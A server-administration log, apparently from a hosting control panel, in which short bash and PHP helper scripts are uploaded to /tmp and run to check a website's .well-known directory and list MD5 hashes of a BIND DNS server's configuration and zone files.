4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-11 06:01:19: Establishing a connection
2025-10-11 06:01:20: Establishing a connection
2025-10-11 06:01:21: 

PUT: /tmp/pkp339895

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-11 06:01:22: 

chmod 755 /tmp/pkp339895; /tmp/pkp339895; rm /tmp/pkp339895

2025-10-11 06:01:22: 


0


2025-10-11 20:43:21: Establishing a connection
2025-10-11 20:43:33: Establishing a connection
2025-10-11 20:43:33: 

PUT: /tmp/pkp588358

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-11 20:43:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp588358; rm /tmp/pkp588358'

2025-10-11 20:43:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-11 20:44:49: Establishing a connection
2025-10-11 20:44:49: 

PUT: /tmp/pkp796437

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-11 20:44:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp796437; rm /tmp/pkp796437'

2025-10-11 20:44:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
